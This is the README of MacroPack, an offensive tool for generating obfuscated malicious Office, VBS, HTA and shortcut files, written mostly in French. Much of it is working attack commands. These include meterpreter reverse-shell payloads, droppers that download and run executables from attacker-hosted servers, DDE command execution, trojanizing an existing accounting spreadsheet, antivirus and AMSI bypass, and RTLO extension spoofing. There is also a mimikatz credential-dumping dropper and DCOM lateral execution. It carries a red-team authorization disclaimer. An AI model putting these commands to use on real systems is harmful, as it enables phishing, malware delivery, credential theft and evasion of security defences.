
macro_pack is a tool by @EmericNasi used to automatize obfuscation and generation of Office documents, VB scripts, shortcuts, and other formats for pentest, demo, and social engineering assessments. The goal of macro_pack is to simplify exploitation, antimalware bypass, and automatize the process from malicious macro and script generation to final document generation. It also provides a lot of helpful features useful for redteam or security research.
MacroPack Community est un outil utilisé pour automatiser l'obfuscation et la génération de formats rétro comme les documents MS Office ou les formats de type VBS. Il gère également divers formats de raccourcis. Cet outil peut être utilisé pour le red teaming, les tests d'intrusion, les démonstrations et les évaluations d'ingénierie sociale. MacroPack simplifiera le contournement des solutions antimalware et automatisera le processus depuis la source VBA jusqu'au document Office final ou autre type de payload. Il est très simple à utiliser :
L'outil est compatible avec les payloads générés par les outils de test d'intrusion populaires (Metasploit, Empire, ...). Il est également facile à combiner avec d'autres outils car il est possible de lire l'entrée depuis stdin et d'avoir une sortie silencieuse vers un autre outil. Cet outil est écrit en Python3 et fonctionne sur les plateformes Linux et Windows.
Note : La plateforme Windows avec les applications MS Office appropriées installées est requise pour la génération automatique de documents Office ou les fonctionnalités de cheval de Troie.

L'outil utilisera diverses techniques d'obfuscation, toutes automatiques. Les fonctionnalités d'obfuscation sont compatibles avec tous les formats basés sur VBA et VBS qui peuvent être générés par MacroPack. L'obfuscation de base (option -o) inclut :
MacroPack peut générer plusieurs types de documents MS Office et de formats de scripts. Le format sera automatiquement deviné en fonction de l'extension de fichier donnée. La génération de fichier se fait avec l'option --generate ou -G.
La version pro de MacroPack vous permet également de trojaniser des fichiers Office existants avec l'option --trojan ou -T.
Les formats MS Office supportés sont :
Les formats de script (txt) supportés sont :
Les formats de raccourcis/shell supportés sont :
Notez que tous les formats de script et de raccourcis (sauf LNK) peuvent être générés sur la version Linux de MacroPack.
Ce logiciel ne doit être utilisé que dans le cadre d'un engagement Red Team, d'un test d'intrusion, d'une simulation de phishing, d'une recherche en sécurité ou de toute autre forme d'évaluation de sécurité, avec l'autorisation légale et formelle des propriétaires du système. L'utilisation de ce logiciel pour attaquer des cibles sans consentement préalable est interdite et illégale. Il est de la responsabilité de l'utilisateur de se conformer à toutes les lois locales, étatiques, fédérales et nationales applicables. Nous déclinons toute responsabilité et ne sommes pas responsables des mauvais usages ou des dommages pouvant résulter de l'utilisation de ce logiciel.
Toutes les capacités et options de MacroPack ne sont pas disponibles dans MacroPack Community. Seule la version communautaire est disponible en ligne. Les fonctionnalités de la version pro « arment » véritablement le processus, c'est pourquoi leur accès est réservé aux professionnels. Le mode pro inclut des fonctionnalités telles que :
Quelques courtes vidéos de démonstration sont disponibles sur la chaîne Vimeo de BallisKit.
Important : Si vous souhaitez me contacter au sujet de MacroPack pro, utilisez mon adresse email emeric.nasi [at] sevagas.com. Je ne répondrai pas aux demandes anonymes concernant la version Pro, mais uniquement aux emails professionnels.
### Installation à partir des sources
Vous devez être sur une machine Windows pour construire MacroPack. Téléchargez et installez les dépendances :```bash
git clone https://github.com/sevagas/macro_pack.git
cd macro_pack
pip3 install -r requirements.txt
L'outil est en python 3, alors commencez simplement avec votre installation python3. ex:```bash python3 macro_pack.py --help
python macro_pack.py --help # if python3 is default install
Si vous voulez produire un exe autonome avec pyinstaller :
* Installez pyinstaller : pip install pyinstaller
* Double-cliquez sur le script "build.bat".
Le fichier macro_pack.exe résultant se trouvera dans le répertoire **bin**.
## Quelques exemples
### Communauté MacroPack
- Lister tous les formats de fichiers pris en charge```bash
macro_pack.exe --listformats
- Obfusque le fichier vba généré par msfvenom et place le résultat dans un nouveau fichier VBA.```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba
- Générer un fichier MS Excel contenant un dropper obfusqué (télécharger payload.exe et le stocker sous dropped.exe)```bash
echo "https://myurl.url/payload.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER -G "drop.xlsm"
- Téléchargez et exécutez le stager Empire Launcher sans powershell.exe en utilisant le modèle DROPPER_PS```bash
# 1 Generate a file containing Empire lauchcher
# 2 Make that file available on web server, ex with netcat:
{ echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat empire_stager.cmd; } | nc -l -p 6666 -q1
# 3 Use macro\_pack to generate DROPPER_PS payload in Excel file
echo http://10.5.5.12:6543/empire_stager.cmd | macro_pack.exe -o -t DROPPER_PS -G join_the_empire.xls
# 4 When executed on target, the macro will download PowerShdll, run it with rundll32, and download and execute stager.
<p align="center"><img src="https://assets.kitploit.com/production/public/readmes/1646/23fa8cfadc283a7abf02bde5fd10748c8c1d90bc3d977ee47024fe4e9d963824.png" alt="Démo DDE Excel"></p>
- Téléchargement et exécution d'un fichier via PowerShell à l'aide d'une attaque par Échange Dynamique de Données (DDE)```bash
# 1 Change the target file URL in resources\community\ps_dl_exec.cmd
# 2 Embed download execute cmd in document
macro_pack.exe --dde -f ..\resources\community\ps_dl_exec.cmd -G DDE.xslx
=cmd|' /c notepad.exe'!A1
macro_pack.exe -G dde.iqy
<p align="center"><img src="https://assets.kitploit.com/production/public/readmes/1646/26c6e5a38eb09ae914c743b473890cef40632ccbd25bce0a895f9f4770377f7d.png" alt="IQY demo"></p>
- Générer un fichier VBS reverse TCP meterpreter obfusqué et l'exécuter ```batch
# 1 Generate obfuscated VBS based on meterpreter template as well as Metasploit resource file
echo <ip> <port> | macro_pack.exe -t METERPRETER -o -G meter.vbs
# 2 On attacker machine Setup meterpreter listener
msfconsole -r meterpreter.rc
# 3 run VBS file with wscript (run 32bit wscript because meterpreter payload is 32bit)
%windir%\SysWoW64\wscript meter.vbs
echo http://192.168.0.5:1234/a "systeminfo" | macro_pack.exe -t REMOTE_CMD -o -G info.hta
macro_pack.exe -l . --port=1234
mshta.exe full/path/to/info.hta
- Générer un raccourci URL qui exécute un fichier HTA local lorsque vous cliquez dessus```batch
echo "file://C:\Users\username\Desktop\hello.hta" | macro_pack.exe -G yop.url
### Quelques exemples de MacroPack Pro
- Trojaniser le fichier partagé existant "report.xlsm" avec un dropper. Utiliser les fonctionnalités anti-AV et anti-rétro-ingénierie.```bash
echo "http://10.5.5.12/drop.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER --bypass --stealth --antisandox --trojan "E:\accounting\report.xls"
- Transformer un fichier PowerPoint en cheval de Troie avec un reverse raw shellcode. La macro est obfusquée et modifiée pour contourner AMSI et la plupart des antivirus.```bash
echo beacon.bin | macro_pack.exe -o -t SHELLCODE --bypass -T hotpics.pptm
REM Step 2: Generate document, for example here, meterpreter reverse TCP Excel file echo 192.168.0.5 4444 | macro_pack.exe -t METERPRETER -o -G meter.xlsm REM Step 3: Copy the document somewhere on remote share copy meter.xlsm "\192.168.0.8\c$\users\username\meter.xlsm" REM Step 4: Execute! macro_pack.exe --dcom="\192.168.0.8\c$\users\username\meter.xlsm"
REM Step 2 to 4 in one step: echo 192.168.0.5 4444 | macro_pack.exe -t METERPRETER -o -G "\192.168.0.8\c$\users\username\meter.xlsm" --dcom="\192.168.0.8\c$\users\username\meter.xlsm"
## Toutes les options de la version communautaire```
Main payload generation options:
-G, --generate=OUTPUT_FILE_PATH. Generates a file. Will guess the payload format based on extension.
MacroPack supports most Ms Office and VB based payloads as well various kinds of shortcut files.
Note: Office payload generation requires that MS Office application is installed on the machine
--listformats View all file formats which can be generated by MacroPack
-f, --input-file=INPUT_FILE_PATH A VBA macro file or file containing params for --template option or non VB formats
If no input file is provided, input must be passed via stdin (using a pipe).
-t, --template=TEMPLATE_NAME Use code template already included in MacroPack
MacroPack supports multiple predefined templates useful for social engineering, redteaming, and security bypass
--listtemplates View all templates provided by MacroPack
-e, --embed=EMBEDDED_FILE_PATH Will embed the given file in the body of the generated document.
Use with EMBED_EXE template to auto drop and exec the file or with EMBED_DLL to drop/load the embedded dll.
Security bypass options:
-o, --obfuscate Obfuscate code (remove spaces, obfuscate strings, obfuscate functions and variables name)
--obfuscate-names-charset=<CHARSET> Set a charset for obfuscated variables and functions
Choose between: alpha, alphanum, complete or provide the list of char you want
--obfuscate-names-minlen=<len> Set min length of obfuscated variables and functions (default 8)
--obfuscate-names-maxlen=<len> Set max length of obfuscated variables and functions (default 20)
--uac-bypass Execute payload with high privileges if user is admin. Compatible with most MacroPack templates
Other options:
-q, --quiet Do not display anything on screen, just process request.
-p, --print Display result file on stdout (will display VBA for Office formats)
Combine this option with -q option to pipe result into another program
ex: cat input_file.vba | macro_pack.exe -o -G obfuscated.vba -q -p | another_app
-s, --start-function=START_FUNCTION Entry point of macro file
Note that macro_pack will automatically detect AutoOpen, Workbook_Open, or Document_Open as the start function
--icon Path of generated file icon. Default is %windir%\system32\imageres.dll,67
--dde Dynamic Data Exchange attack mode. Input will be inserted as a cmd command and executed via DDE
This option is only compatible with Excel formats.
--run=FILE_PATH Open document using COM to run macro. Can be useful to bypass whitelisting situations.
This will trigger AutoOpen/Workbook_Open automatically.
If no auto start function, use --start-function option to indicate which macro to run.
--unicode-rtlo=SPOOF_EXTENSION Inject the unicode U+202E char (Right-To-Left Override) to spoof the file extension when view in explorers.
Ex. To generate an hta file with spoofed jpg extension use options: -G something.hta --unicode-rtlo=jpg
In this case, windows or linux explorers will show the file named as: somethingath.jpg
-l, --listen=ROOT_PATH Open an HTTP server from ROOT_PATH listening on default port 80.
-w, --webdav-listen=ROOT_PATH Open a WebDAV server on default port 80, giving access to ROOT_PATH.
--port=PORT Specify the listening port for HTTP and WebDAV servers.
-h, --help Displays help and exit
Les modèles peuvent être appelés en utilisant -t, --template=NOM_DU_MODÈLE combiné avec d'autres options.
Voici tous les modèles disponibles.
Affiche simplement un message d'accueil et une sensibilisation à la macro.
Donnez à ce modèle le nom ou l'email de l'auteur :
-> Exemple : echo "@Author" | macro_pack.exe -t HELLO -G hello.pptm
Exécute une commande.
Donnez à ce modèle une ligne de commande
-> Exemple (ouvrir calc.exe depuis un fichier xslt) : echo "calc.exe" | macro_pack.exe -t CMD -G cmd.xsl
Exécute une ligne de commande et envoie les résultats à un serveur HTTP distant.
Donnez à ce modèle l'URL du serveur et la commande à exécuter :
-> Exemple : ```echo "http://192.168.0.5:7777" "dir /Q C:" | macro_pack.exe -t REMOTE_CMD -o -G cmd.doc``````bash
nc -l -p 7777
### DROPPER
Télécharge et exécute un fichier.
Donnez à ce modèle l'URL du fichier et le chemin de destination
-> Exemple : ```echo <file_to_drop_url> "<download_path>" | macro_pack.exe -t DROPPER -o -G dropper.xls```
### DROPPER_PS
Télécharge et exécute un script PowerShell en utilisant rundll32 (pour contourner le blocage de powershell.exe).
Note : Ce payload téléchargera PowerShdll depuis Github.
Donnez à ce modèle l'URL du script PowerShell que vous souhaitez exécuter :
-> Exemple : ```echo "<powershell_script_url>" | macro_pack.exe -t DROPPER_PS -o -G powpow.doc```
### DROPPER_DLL
Télécharge une DLL avec une autre extension et exécute-la en utilisant Office VBA.
-> Exemple, charger une DLL meterpreter en utilisant Office :```batch
REM Generate meterpreter dll payload
msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f dll -o meter.dll
REM Make it available on webserver, ex using netcat on port 6666
{ echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat meter.dll; } | nc -l -p 6666 -q1
REM Create OFfice file which will download DLL and call it
REM The DLL URL is http://192.168.0.5:6666/normal.html and it will be saved as .asd file
echo "http://192.168.0.5:6666/normal.html" Run | macro_pack.exe -t DROPPER_DLL -o -G meterdll.xls
Modèle Meterpreter reverse TCP utilisant MacroMeter par Cn33liz.
Ce modèle est un stager Meterpreter C# construit par Cn33liz et intégré dans VBA via DotNetToJScript de James Forshaw.
Donnez à ce modèle l'IP et le PORT de l'écoute mfsconsole :
-> Exemple : echo <ip> <port> | macro_pack.exe -t METERPRETER -o -G meter.docm
Ce modèle génère également un fichier meterpreter.rc pour créer le handler Metasploit
-> Exemple : msfconsole -r meterpreter.rc
Déposer et exécuter un fichier intégré.
Combiné avec l'option --embed, il dépose et exécute le fichier intégré avec un nom aléatoire dans le dossier TEMP.
-> Exemple : macro_pack.exe -t EMBED_EXE --embed=c:\windows\system32\calc.exe -o -G my_calc.vbs
Combiné avec l'option --embed, il dépose et appelle une fonction dans la DLL donnée.
Donnez à ce modèle le nom et les paramètres de la fonction à appeler dans la DLL
-> Exemple1 : echo "main" | macro_pack.exe -t EMBED_DLL --embed=cmd.dll -o -G cmd.doc
-> Exemple2 : echo "main log privilege::debug sekurlsa::logonpasswords exit" | macro_pack.exe -t EMBED_DLL --embed=mimikatz.dll -o -G mimidropper.hta
Les différentes fonctionnalités ont été testées contre des solutions antimalware installées localement ainsi que des services en ligne. J'ai effectué plusieurs tests avec plusieurs types de payloads et fonctionnalités de MacroPack. La majorité de l'analyse statique des antivirus sera contournée par la simple option "obfuscate". Cependant, comme la plupart des outils gratuits, les payloads sont généralement détectées par l'analyse comportementale telle que l'AMSI. Les fonctionnalités disponibles en mode pro de MacroPack permettent généralement un contournement complet de l'AV, y compris de l'AMSI.
Avertissement : Ne soumettez pas vos échantillons à des scanners en ligne (ex VirusTotal), c'est le meilleur moyen de briser votre macro furtive. Je vous suggère également de ne pas les soumettre à des sites non déclaratifs comme NoDistribute. Vous ne pouvez pas être sûr de ce que ces sites feront des données que vous soumettez. Si vous rencontrez un problème de détection AV avec macro_pack, vous pouvez nous écrire pour obtenir des conseils ou soumettre un ticket ou une pull request.
Articles de blog sur MacroPack Pro :
Articles de blog sur le hacking avec MS Office, VBS, et autres trucs rétro de sécurité :
Autres liens utiles :
N'hésitez pas à m'envoyer un message sur mon compte Twitter @EmericNasi
Emails :
Important : Si vous souhaitez me contacter à propos de MacroPack pro, utilisez mon adresse email sevagas.com. Veuillez également noter que je ne répondrai pas aux demandes anonymes concernant la version Pro, uniquement aux emails professionnels.
Copyright 2017,2018,2019,2020,2021,2022 Emeric “Sio” Nasi (blog.sevagas.com)